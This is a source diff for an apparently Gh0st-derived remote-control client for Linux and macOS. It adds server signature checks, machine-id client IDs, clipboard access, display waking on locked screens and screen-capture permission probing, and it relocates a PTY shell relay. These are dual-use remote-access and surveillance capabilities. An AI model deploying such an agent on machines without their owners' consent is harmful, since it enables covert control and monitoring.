-                Mprintf("readFromPTY: shell exited (status=%d)\n", WEXITSTATUS(status));
-                if (m_client) {
-                    BYTE closeToken = TOKEN_TERMINAL_CLOSE;
-                    m_client->Send2Server((char*)&closeToken, 1);
-                }
-                m_running = false;
-                break;
-            }
-
-            ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
-            if (bytes_read > 0) {
-                if (m_client) {
-                    buffer[bytes_read] = '\0';
-                    Mprintf("%s", buffer);
-                    m_client->Send2Server(buffer, bytes_read);
-                }
-            } else if (bytes_read == 0) {
-                // EOF - PTY 已关闭
-                Mprintf("readFromPTY: EOF (shell closed)\n");
-                if (m_client) {
-                    BYTE closeToken = TOKEN_TERMINAL_CLOSE;
-                    m_client->Send2Server((char*)&closeToken, 1);
-                }
-                m_running = false;
-                break;
-            } else if (bytes_read == -1) {
-                if (errno == EAGAIN || errno == EWOULDBLOCK) {
-                    usleep(10000);
-                } else if (errno == EIO) {
-                    // EIO 通常表示 PTY slave 已关闭（shell 退出）
-                    Mprintf("readFromPTY: EIO (shell closed)\n");
-                    if (m_client) {
-                        BYTE closeToken = TOKEN_TERMINAL_CLOSE;
-                        m_client->Send2Server((char*)&closeToken, 1);
-                    }
-                    m_running = false;
-                    break;
-                } else {
-                    Mprintf("readFromPTY: read error %d\n", errno);
-                    break;
-                }
-            }
-        }
-    }
-};
+// PTYHandler moved to common/PTYHandler.h (shared between Linux and macOS)

 void* ShellworkingThread(void* param)
 {
@@ -526,6 +352,8 @@ void* ShellworkingThread(void* param)
        std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
        void* clientAddr = ClientObject.get();
        Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr);
+        // 子连接：开启 auth。Linux IOCPClient 不带 m_conn，显式传入 g_myClientID。
+        ClientObject->EnableSubConnAuth(true, g_myClientID);
        if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
            std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
            ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
@@ -534,6 +362,8 @@ void* ShellworkingThread(void* param)
            Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", clientAddr);
            while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
                Sleep(1000);
+            // 清除回调，防止重连线程访问已销毁的 handler
+            ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
        }
        Mprintf(">>> Leave ShellworkingThread [%p]\n", clientAddr);
    } catch (const std::exception& e) {
@@ -548,6 +378,8 @@ void* ScreenworkingThread(void* param)
        std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
        void* clientAddr = ClientObject.get();
        Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
+        // 子连接：开启 auth。Linux IOCPClient 不带 m_conn，显式传入 g_myClientID。
+        ClientObject->EnableSubConnAuth(true, g_myClientID);
        if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
            std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
            ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
@@ -556,6 +388,8 @@ void* ScreenworkingThread(void* param)
            Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
            while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
                Sleep(1000);
+            // 清除回调，防止重连线程访问已销毁的 handler
+            ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
        }
        Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
    } catch (const std::exception& e) {
@@ -570,12 +404,16 @@ void* SystemManagerThread(void* param)
        std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
        void* clientAddr = ClientObject.get();
        Mprintf(">>> Enter SystemManagerThread [%p]\n", clientAddr);
+        // 子连接：开启 auth。Linux IOCPClient 不带 m_conn，显式传入 g_myClientID。
+        ClientObject->EnableSubConnAuth(true, g_myClientID);
        if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
            std::unique_ptr<SystemManager> handler(new SystemManager(ClientObject.get()));
            ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
            Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", clientAddr);
            while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
                Sleep(1000);
+            // 清除回调，防止重连线程访问已销毁的 handler
+            ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
        }
        Mprintf(">>> Leave SystemManagerThread [%p]\n", clientAddr);
    } catch (const std::exception& e) {
@@ -590,12 +428,16 @@ void* FileManagerThread(void* param)
        std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
        void* clientAddr = ClientObject.get();
        Mprintf(">>> Enter FileManagerThread [%p]\n", clientAddr);
+        // 子连接：开启 auth。Linux IOCPClient 不带 m_conn，显式传入 g_myClientID。
+        ClientObject->EnableSubConnAuth(true, g_myClientID);
        if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
            std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
            ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
            Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", clientAddr);
            while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
                Sleep(1000);
+            // 清除回调，防止重连线程访问已销毁的 handler
+            ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
        }
        Mprintf(">>> Leave FileManagerThread [%p]\n", clientAddr);
    } catch (const std::exception& e) {
@@ -630,18 +472,38 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
            uint64_t now = GetUnixMs();
            double rtt_ms = (double)(now - ack->Time);
            g_rttEstimator.update_from_sample(rtt_ms);
+            // 心跳节奏太密日志会刷屏；最多 60s 一行
+            static time_t lastAckLog = 0;
+            time_t now_s = time(nullptr);
+            if (now_s - lastAckLog >= 60) {
+                lastAckLog = now_s;
                Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
                        user, rtt_ms, g_rttEstimator.srtt * 1000);
            }
+        }
    } else if (szBuffer[0] == CMD_MASTERSETTING) {
        int settingSize = ulLength - 1;
-        if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
+        // 强制要求完整 MasterSettings（包含 Signature 字段）。包不完整 → 视为非授权服务端
+        if (settingSize < (int)sizeof(MasterSettings)) {
+            g_bExit = S_CLIENT_EXIT;
+            return TRUE;
+        }
        MasterSettings settings = {};
-            memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
+        memcpy(&settings, szBuffer + 1, sizeof(MasterSettings));
+
+        // 服务端身份校验：用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
+        // 验证签名。失败 → 静默退出（不打印关键词日志）
+        extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
+        std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature));
+        if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
+            g_bExit = S_CLIENT_EXIT;
+            return TRUE;
+        }
+        g_settingsVerified = true;
+
        if (settings.ReportInterval > 0)
            g_heartbeatInterval = settings.ReportInterval;
        Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
-        }
    } else if (szBuffer[0] == COMMAND_NEXT) {
        Mprintf("** [%p] Received 'NEXT' command ***\n", user);
    } else if (szBuffer[0] == COMMAND_C2C_TEXT) {
@@ -672,6 +534,26 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
        if (result != 0) {
            Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
        }
+    } else if (szBuffer[0] == CMD_SET_GROUP) {
+        // Extract group name from message (starts at byte 1)
+        std::string groupName;
+        if (ulLength > 1) {
+            groupName = std::string((char*)szBuffer + 1, ulLength - 1);
+            // Remove trailing nulls
+            size_t pos = groupName.find('\0');
+            if (pos != std::string::npos) {
+                groupName = groupName.substr(0, pos);
+            }
+        }
+        // Save to config file
+        LinuxConfig cfg;
+        cfg.SetStr("group_name", groupName);
+        // Update global settings
+        memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
+        strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
+        // 标记需要重发登录信息（让服务端更新分组显示）
+        g_needResendLogin.store(true);
+        Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
    } else {
        Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
    }
@@ -841,6 +723,49 @@ std::string getUsername()
    return u ? u : "?";
 }

+// 读取 systemd / dbus 维护的 machine-id（与 Windows MachineGuid 等价）
+// /etc/machine-id 在系统首次启动时生成的随机 32 字符 hex GUID。
+// 对应 Windows: HKLM\Software\Microsoft\Cryptography\MachineGuid。
+// 重装系统才会变；同一镜像 dd 出来的多机会撞——但规范的批量部署
+// 工具 (cloud-init / kickstart) 会重置它。
+static std::string getMachineId()
+{
+    // 优先 /etc/machine-id；某些精简系统可能放在 /var/lib/dbus/machine-id
+    const char* paths[] = { "/etc/machine-id", "/var/lib/dbus/machine-id" };
+    for (const char* p : paths) {
+        std::ifstream f(p);
+        if (!f.is_open()) continue;
+        std::string id;
+        std::getline(f, id);
+        // 去掉尾部空白和换行
+        while (!id.empty() && (id.back() == '\n' || id.back() == '\r' ||
+                               id.back() == ' ' || id.back() == '\t')) {
+            id.pop_back();
+        }
+        if (!id.empty()) return id;
+    }
+    return std::string();
+}
+
+// 路径归一化（Linux 版）：解析符号链接 + 转小写
+// realpath 等价于 Windows 的 GetLongPathName，把 /usr/local/bin/../foo 这种
+// 折回到规范形式；小写化避免大小写差异引起 ID 不同（Linux 文件系统本身大小写
+// 敏感，但保持与 Windows V2 算法一致的归一化策略，跨端一致性优先）。
+static std::string normalizeExePathLower(const std::string& path)
+{
+    char resolved[PATH_MAX] = {};
+    std::string out;
+    if (realpath(path.c_str(), resolved) != nullptr) {
+        out = resolved;
+    } else {
+        out = path;  // 解析失败（罕见）：用原值
+    }
+    for (auto& c : out) {
+        if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a';
+    }
+    return out;
+}
+
 // 获取屏幕分辨率字符串（格式 "显示器数:宽*高"）
 std::string getScreenResolution()
 {
@@ -1077,8 +1002,23 @@ int main(int argc, char* argv[])

    LOGIN_INFOR logInfo;

-    // 主机名
+    // 读取分组名称（从配置文件或 g_SETTINGS）
+    LinuxConfig cfgGroup;
+    std::string groupName = cfgGroup.GetStr("group_name");
+    if (!groupName.empty()) {
+        // 更新 g_SETTINGS
+        strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
+    } else if (g_SETTINGS.szGroupName[0] != 0) {
+        groupName = g_SETTINGS.szGroupName;
+    }
+
+    // 主机名（带分组：hostname/groupname）
+    if (!groupName.empty()) {
+        std::string pcNameWithGroup = std::string(hostname) + "/" + groupName;
+        strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
+    } else {
        strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
+    }
    logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';

    // 操作系统版本（如 "Ubuntu 24.04 LTS"）
@@ -1146,7 +1086,19 @@ int main(int argc, char* argv[])
    logInfo.AddReserved(getUsername().c_str());                        // [13] RES_USERNAME
    logInfo.AddReserved(getuid() == 0 ? 1 : 0);                      // [14] RES_ISADMIN
    logInfo.AddReserved(getScreenResolution().c_str());               // [15] RES_RESOLUTION
-    // 计算客户端 ID（与服务端 CONTEXT_OBJECT::CalculateID 相同算法）
+    // V2 ID 算法：machine-id + 归一化路径
+    //   - 同机同程序路径永远同 ID（不依赖 IP/hostname/distro/CPU 漂移）
+    //   - 局域网多机即便同镜像，cloud-init/kickstart 会让 machine-id 各不同
+    //   - machine-id 读取失败时退化到老算法（pubIP|hostname|distro|cpu|path）保兼容
+    std::string machineId = getMachineId();
+    if (!machineId.empty()) {
+        std::string normPath = normalizeExePathLower(exePath);
+        std::string idInput = machineId + "|" + normPath;
+        g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
+        Mprintf("Calculated clientID(v2): %llu (machineId=%s, path=%s)\n",
+                g_myClientID, machineId.c_str(), normPath.c_str());
+    } else {
+        // 老算法兜底（与服务端 CONTEXT_OBJECT::CalculateID 相同算法）
        // 格式: pubIP|hostname|os|cpu|path
        char cpuStr[32];
        snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz);
@@ -1156,12 +1108,16 @@ int main(int argc, char* argv[])
                              cpuStr + "|" +
                              exePath;
        g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
-    Mprintf("Calculated clientID: %llu (from: %s)\n", g_myClientID, idInput.c_str());
+        Mprintf("Calculated clientID(v1 fallback): %llu (machine-id 读取失败)\n", g_myClientID);
+    }

    logInfo.AddReserved(std::to_string(g_myClientID).c_str());        // [16] RES_CLIENT_ID
    logInfo.AddReserved((int)getpid());                               // [17] RES_PID
    logInfo.AddReserved(getFileSize(exePath).c_str());                // [18] RES_FILESIZE

+    // 服务端签名输入：与服务端 AddList 处签名格式一致（startTime + "|" + clientID）
+    g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
+
    // 初始化用户活动检测器（用于心跳包中的 ActiveWnd 字段）
    ActivityChecker activityChecker;

@@ -1174,10 +1130,28 @@ int main(int argc, char* argv[])
            continue;
        }

+        // 进入新连接，重置服务端身份校验状态
+        g_loginTime = time(nullptr);
+        g_settingsVerified = false;
        ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));

        // 心跳保活循环：定时发送心跳包，服务端回复后动态更新 RTT
        while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
+            // 检查是否需要重发登录信息（分组变更后）
+            if (g_needResendLogin.exchange(false)) {
+                // 更新 szPCName（hostname/groupname 格式）
+                std::string grp = g_SETTINGS.szGroupName;
+                if (!grp.empty()) {
+                    std::string pcNameWithGroup = std::string(hostname) + "/" + grp;
+                    strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
+                } else {
+                    strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
+                }
+                logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
+                ClientObject->SendLoginInfo(logInfo);
+                Mprintf(">> Resent login info after group change\n");
+            }
+
            // 等待心跳间隔（每秒检查一次退出条件，保证及时响应）
            int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
            for (int i = 0; i < interval; ++i) {
@@ -1188,8 +1162,19 @@ int main(int argc, char* argv[])
            if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
                break;

+            // 兜底：登录后 30 秒内必须收到并通过 MasterSettings 校验，否则视为非授权服务端
+            if (!g_settingsVerified && g_loginTime > 0 &&
+                time(nullptr) - g_loginTime > 30) {
+                g_bExit = S_CLIENT_EXIT;
+                break;
+            }
+
            // 构造并发送心跳包（与 Windows 端 KernelManager::SendHeartbeat 格式一致）
-            std::string activity = utf8ToGbk(activityChecker.Check());
+            // ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的
+            // CLIENT_CAP_UTF8 一致；服务端按 cap 位用 CP_UTF8 解码。早期为兼容
+            // MBCS 老服务端做过 utf8ToGbk 转换，但现在新版 Linux 客户端经
+            // libsign 网关只能连新版服务端，无需再转。
+            std::string activity = activityChecker.Check();

            Heartbeat hb;
            hb.Time = GetUnixMs();
@@ -1200,10 +1185,16 @@ int main(int argc, char* argv[])
            buf[0] = TOKEN_HEARTBEAT;
            memcpy(buf + 1, &hb, sizeof(Heartbeat));
            ClientObject->Send2Server((char*)buf, sizeof(buf));
+            // 心跳节奏太密日志会刷屏；最多 60s 一行
+            static time_t lastSendLog = 0;
+            time_t now_s = time(nullptr);
+            if (now_s - lastSendLog >= 60) {
+                lastSendLog = now_s;
                Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n",
                        hb.Ping, interval, activity.c_str());
            }
        }
+    }

    Logger::getInstance().stop();
    removePidFile();
--- a/macos/CMakeLists.txt
+++ b/macos/CMakeLists.txt
@@ -19,6 +19,7 @@ set(SOURCES
    main.mm
    ../client/Buffer.cpp
    ../client/IOCPClient.cpp
+    ../client/sign_shim_unix.cpp
    ScreenHandler.mm
    InputHandler.mm
    SystemManager.mm
@@ -45,6 +46,8 @@ find_library(CARBON_FRAMEWORK Carbon REQUIRED)
 find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED)
 find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED)
 find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED)
+find_library(ACCELERATE_FRAMEWORK Accelerate REQUIRED)
+find_library(ICONV_LIBRARY iconv REQUIRED)

 target_link_libraries(ghost PRIVATE
    ${COCOA_FRAMEWORK}
@@ -57,7 +60,14 @@ target_link_libraries(ghost PRIVATE
    ${VIDEOTOOLBOX_FRAMEWORK}
    ${COREMEDIA_FRAMEWORK}
    ${COREVIDEO_FRAMEWORK}
+    ${ACCELERATE_FRAMEWORK}
+    ${ICONV_LIBRARY}
    "${CMAKE_SOURCE_DIR}/lib/libzstd.a"
+    # 私有签名库（提供 signMessage / verifyMessage，源码不开源）
+    # 该库由 SimplePlugins 仓库本地构建后放置于 lib/，构建机需先准备好
+    # libsign.a 内部使用 macOS CommonCrypto（HMAC-SHA256），CCHmac 在 libSystem
+    # 中已被 Cocoa/CoreFoundation 等链接自动引入，故此处无需额外 framework
+    "${CMAKE_SOURCE_DIR}/lib/libsign.a"
 )

 # Compiler flags
--- a/macos/ClipboardHandler.h
+++ b/macos/ClipboardHandler.h
@@ -0,0 +1,186 @@
+#pragma once
+#import <Cocoa/Cocoa.h>
+#include <string>
+#include <vector>
+
+// macOS 剪贴板操作封装
+// 使用 NSPasteboard API 实现
+
+class ClipboardHandler
+{
+public:
+    // 检查剪贴板功能是否可用 (macOS 总是可用)
+    static bool IsAvailable()
+    {
+        return true;
+    }
+
+    // 获取剪贴板中的文件列表
+    // 返回文件的完整路径列表（UTF-8），失败返回空列表
+    static std::vector<std::string> GetFiles()
+    {
+        std::vector<std::string> files;
+
+        @autoreleasepool {
+            NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
+
+            // 方法1: 尝试获取文件 URL 列表 (macOS 10.13+)
+            NSArray<NSURL*>* urls = [pasteboard readObjectsForClasses:@[[NSURL class]]
+                                                              options:@{NSPasteboardURLReadingFileURLsOnlyKey: @YES}];
+            if (urls && urls.count > 0) {
+                for (NSURL* url in urls) {
+                    if (url.isFileURL) {
+                        NSString* path = url.path;
+                        if (path) {
+                            files.push_back([path UTF8String]);
+                        }
+                    }
+                }
+                return files;
+            }
+
+            // 方法2: 兼容旧版 API (NSFilenamesPboardType)
+            NSArray* filenames = [pasteboard propertyListForType:NSFilenamesPboardType];
+            if (filenames && [filenames isKindOfClass:[NSArray class]]) {
+                for (NSString* path in filenames) {
+                    if ([path isKindOfClass:[NSString class]]) {
+                        files.push_back([path UTF8String]);
+                    }
+                }
+            }
+        }
+
+        return files;
+    }
+
+    // 获取剪贴板文本
+    // 返回 UTF-8 编码的文本，失败返回空字符串
+    static std::string GetText()
+    {
+        @autoreleasepool {
+            NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
+            NSString* text = [pasteboard stringForType:NSPasteboardTypeString];
+            if (text) {
+                return [text UTF8String];
+            }
+        }
+        return "";
+    }
+
+    // 设置剪贴板文本
+    // text: UTF-8 编码的文本
+    // 返回是否成功
+    static bool SetText(const std::string& text)
+    {
+        if (text.empty()) return true;
+
+        @autoreleasepool {
+            NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
+            [pasteboard clearContents];
+
+            NSString* nsText = [NSString stringWithUTF8String:text.c_str()];
+            if (nsText) {
+                return [pasteboard setString:nsText forType:NSPasteboardTypeString];
+            }
+        }
+        return false;
+    }
+
+    // 设置剪贴板文本（从原始字节）
+    // data: 文本数据（可能是 GBK 或 UTF-8）
+    // len: 数据长度
+    static bool SetTextRaw(const char* data, size_t len)
+    {
+        if (!data || len == 0) return true;
+
+        // 服务端发来的文本可能是 GBK 编码，尝试转换为 UTF-8
+        std::string text = ConvertToUtf8(data, len);
+        return SetText(text);
+    }
+
+    // 设置剪贴板文件列表
+    // files: UTF-8 编码的文件路径列表
+    // 返回是否成功
+    static bool SetFiles(const std::vector<std::string>& files)
+    {
+        if (files.empty()) return true;
+
+        @autoreleasepool {
+            NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
+            [pasteboard clearContents];
+
+            NSMutableArray<NSURL*>* urls = [NSMutableArray arrayWithCapacity:files.size()];
+            for (const auto& path : files) {
+                NSString* nsPath = [NSString stringWithUTF8String:path.c_str()];
+                if (nsPath) {
+                    NSURL* url = [NSURL fileURLWithPath:nsPath];
+                    if (url) {
+                        [urls addObject:url];
+                    }
+                }
+            }
+
+            if (urls.count > 0) {
+                return [pasteboard writeObjects:urls];
+            }
+        }
+        return false;
+    }
+
+private:
+    // 检查是否是有效的 UTF-8 序列
+    static bool IsValidUtf8(const char* data, size_t len)
+    {
+        const unsigned char* bytes = (const unsigned char*)data;
+        size_t i = 0;
+
+        while (i < len) {
+            if (bytes[i] <= 0x7F) {
+                // ASCII
+                i++;
+            } else if ((bytes[i] & 0xE0) == 0xC0) {
+                // 2-byte sequence
+                if (i + 1 >= len || (bytes[i + 1] & 0xC0) != 0x80) return false;
+                i += 2;
+            } else if ((bytes[i] & 0xF0) == 0xE0) {
+                // 3-byte sequence
+                if (i + 2 >= len || (bytes[i + 1] & 0xC0) != 0x80 || (bytes[i + 2] & 0xC0) != 0x80) return false;
+                i += 3;
+            } else if ((bytes[i] & 0xF8) == 0xF0) {
+                // 4-byte sequence
+                if (i + 3 >= len || (bytes[i + 1] & 0xC0) != 0x80 ||
+                    (bytes[i + 2] & 0xC0) != 0x80 || (bytes[i + 3] & 0xC0) != 0x80) return false;
+                i += 4;
+            } else {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    // 尝试将 GBK 转换为 UTF-8
+    // 如果已经是 UTF-8，直接返回
+    static std::string ConvertToUtf8(const char* data, size_t len)
+    {
+        // 检查是否已经是有效的 UTF-8
+        if (IsValidUtf8(data, len)) {
+            return std::string(data, len);
+        }
+
+        // 使用 NSString 进行编码转换 (GBK = CFStringEncodingGB_18030_2000)
+        @autoreleasepool {
+            // 尝试 GBK (GB18030) 编码
+            NSStringEncoding gbkEncoding = CFStringConvertEncodingToNSStringEncoding(kCFStringEncodingGB_18030_2000);
+            NSString* str = [[NSString alloc] initWithBytes:data length:len encoding:gbkEncoding];
+            if (str) {
+                const char* utf8 = [str UTF8String];
+                if (utf8) {
+                    return std::string(utf8);
+                }
+            }
+        }
+
+        // 转换失败，返回原始数据
+        return std::string(data, len);
+    }
+};
--- a/macos/Permissions.mm
+++ b/macos/Permissions.mm
@@ -6,8 +6,27 @@
 bool Permissions::checkScreenCapture() {
    // macOS 10.15+ requires screen recording permission
    if (@available(macOS 10.15, *)) {
-        // Use CGPreflightScreenCaptureAccess for reliable permission check
-        // This API is available since macOS 10.15
+        // CGPreflightScreenCaptureAccess() is unreliable - it can return false
+        // even when permission is granted (especially after code re-signing).
+        // Instead, actually try to capture the screen to verify permission.
+
+        CGDirectDisplayID displayID = CGMainDisplayID();
+        CGImageRef image = CGDisplayCreateImage(displayID);
+
+        if (image != NULL) {
+            // Got an image - permission is granted
+            // Additional check: verify image has actual content (not blank)
+            size_t width = CGImageGetWidth(image);
+            size_t height = CGImageGetHeight(image);
+            CGImageRelease(image);
+
+            if (width > 0 && height > 0) {
+                return true;
+            }
+        }
+
+        // Failed to capture - permission not granted or display issue
+        // Fall back to preflight check for triggering dialog
        return CGPreflightScreenCaptureAccess();
    }

--- a/macos/ScreenHandler.h
+++ b/macos/ScreenHandler.h
@@ -2,13 +2,17 @@

 #import <CoreGraphics/CoreGraphics.h>
 #import <dispatch/dispatch.h>
+#import <IOKit/pwr_mgt/IOPMLib.h>
+#import <IOSurface/IOSurface.h>
 #import "../client/IOCPClient.h"
+#import "../common/commands.h"  // QualityLevel, QualityProfile, ALGORITHM_*
 #include <vector>
 #include <atomic>
 #include <mutex>
 #include <thread>
 #include <cstdint>
 #include <memory>
+#include <condition_variable>

 // Forward declarations
 class IOCPClient;
@@ -32,11 +36,7 @@ struct BITMAPINFOHEADER_MAC {
 };
 #pragma pack(pop)

-// Screen algorithm constants
-#define ALGORITHM_GRAY    0
-#define ALGORITHM_DIFF    1
-#define ALGORITHM_H264    2
-#define ALGORITHM_RGB565  3
+// Algorithm constants from commands.h: ALGORITHM_GRAY, ALGORITHM_DIFF, ALGORITHM_H264, ALGORITHM_RGB565

 class ScreenHandler : public IOCPManager {
 public:
@@ -120,6 +120,7 @@ private:
    std::vector<uint8_t> m_prevFrame;
    std::vector<uint8_t> m_currFrame;
    std::vector<uint8_t> m_diffBuffer;
+    std::vector<uint8_t> m_tempBuffer;  // 临时缓冲区，避免每帧分配

    // Quality settings
    std::atomic<uint8_t> m_algorithm;
@@ -132,4 +133,28 @@ private:

    // Input handler for mouse/keyboard control
    std::unique_ptr<InputHandler> m_inputHandler;
+
+    // Power management: prevent display sleep during remote desktop
+    IOPMAssertionID m_displayAssertionID;
+
+    // Cached color space (avoid per-frame creation)
+    CGColorSpaceRef m_colorSpace;
+
+    // CGDisplayStream (efficient continuous capture)
+    CGDisplayStreamRef m_displayStream;
+    dispatch_queue_t m_streamQueue;
+    IOSurfaceRef m_latestSurface;
+    std::mutex m_surfaceMutex;
+    std::condition_variable m_surfaceCond;
+    std::atomic<bool> m_hasNewFrame;
+
+    // Initialize/cleanup display stream
+    bool initDisplayStream();
+    void cleanupDisplayStream();
+
+    // Process frame from IOSurface (called by stream callback)
+    void processIOSurface(IOSurfaceRef surface);
+
+    // Capture from IOSurface to buffer (with vertical flip)
+    bool captureFromIOSurface(IOSurfaceRef surface, std::vector<uint8_t>& buffer);
 };
--- a/macos/ScreenHandler.mm
+++ b/macos/ScreenHandler.mm
@@ -1,13 +1,18 @@
 #import "ScreenHandler.h"
 #import "H264Encoder.h"
 #import "InputHandler.h"
+#import "ClipboardHandler.h"
 #import "../client/IOCPClient.h"
 #import "../common/commands.h"
+#import "../common/FileTransferV2.h"
+#import "../common/logger.h"
 #import "Permissions.h"
 #import <Cocoa/Cocoa.h>
+#import <chrono>
 #import <CoreGraphics/CoreGraphics.h>
 #import <ApplicationServices/ApplicationServices.h>
 #import <mach/mach_time.h>
+#import <Accelerate/Accelerate.h>

 // Global client ID (calculated in main.mm)
 extern uint64_t g_myClientID;
@@ -26,9 +31,18 @@ ScreenHandler::ScreenHandler(IOCPClient* client)
    , m_maxFPS(15)
    , m_qualityLevel(QUALITY_GOOD)  // Use fixed QUALITY_GOOD (H264) for web compatibility
    , m_h264Bitrate(3000000)  // 3 Mbps (matches Windows QUALITY_GOOD)
+    , m_displayAssertionID(0)
+    , m_colorSpace(nullptr)
+    , m_displayStream(nullptr)
+    , m_streamQueue(nullptr)
+    , m_latestSurface(nullptr)
+    , m_hasNewFrame(false)
 {
    memset(&m_bmpHeader, 0, sizeof(m_bmpHeader));

+    // Cache color space (avoid per-frame creation)
+    m_colorSpace = CGColorSpaceCreateDeviceRGB();
+
    // Initialize input handler for mouse/keyboard control
    m_inputHandler = std::make_unique<InputHandler>();
    if (m_inputHandler->init()) {
@@ -41,6 +55,13 @@ ScreenHandler::ScreenHandler(IOCPClient* client)
 ScreenHandler::~ScreenHandler()
 {
    stop();
+    cleanupDisplayStream();
+
+    // Release cached color space
+    if (m_colorSpace) {
+        CGColorSpaceRelease(m_colorSpace);
+        m_colorSpace = nullptr;
+    }
 }

 bool ScreenHandler::init()
@@ -103,24 +124,273 @@ bool ScreenHandler::init()
    m_currFrame.resize(m_bmpHeader.biSizeImage, 0);
    m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2);

+    // Wake display if needed (do this early, before sending TOKEN_BITMAPINFO)
+    bool wasAsleep = CGDisplayIsAsleep(m_displayID);
+    bool isLocked = false;
+    CFDictionaryRef sessionInfo = CGSessionCopyCurrentDictionary();
+    if (sessionInfo) {
+        CFBooleanRef screenLocked = (CFBooleanRef)CFDictionaryGetValue(
+            sessionInfo, CFSTR("CGSSessionScreenIsLocked"));
+        if (screenLocked && CFBooleanGetValue(screenLocked)) {
+            isLocked = true;
+        }
+        CFRelease(sessionInfo);
+    }
+
+    if (wasAsleep || isLocked) {
+        NSLog(@"Waking display in init (asleep=%d, locked=%d)...", wasAsleep, isLocked);
+
+        // Create NoDisplaySleep assertion - this wakes the display
+        if (m_displayAssertionID == 0) {
+            IOReturn result = IOPMAssertionCreateWithName(
+                kIOPMAssertionTypeNoDisplaySleep,
